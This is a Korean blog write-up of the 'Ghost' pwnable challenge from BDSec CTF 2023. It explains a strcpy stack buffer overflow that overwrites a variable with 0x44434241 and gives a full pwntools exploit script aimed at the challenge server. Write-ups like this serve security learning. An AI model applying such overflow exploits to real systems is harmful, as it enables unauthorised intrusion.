본문 바로가기
CTF/BDSec CTF

Ghost - Pwnable

by p6rkdoye0n 2023. 7. 21.

 

2023 BDSec CTF 포너블 문제이다.

 

누가봐도 v5의 값을 bof로 바꾸면 플래그가 출력되는 문제인거 같다. 

 

strcpy 함수로 src의 값을 dest 라는 변수에다가 넣기 때문에 스택 구조를 보면 A 값을 0x40만큼 dummy 값을 채우면 v5 변수에 원하는 값을 넣을 수 있다.

 

아래는 위의 공격 내용을 반영한 최종 익스플로잇 코드이다.

 

from pwn import *

#p = process("./ghost")
p = remote("139.144.184.150", 4000)
e = ELF("./ghost")

def log(n, m): return success(": ".join([n, hex(m)]))

context.log_level = 'debug'

key = 0x44434241

payload = b'A'*0x40
payload += p64(key)

p.sendline(payload)

p.interactive()

 

 

해당 코드를 실행하면 최종적으로 flag 값을 얻을 수 있다.

'CTF > BDSec CTF' 카테고리의 다른 글

callme - Pwnable  (0) 2023.07.21
anyaForger - Pwnable  (0) 2023.07.21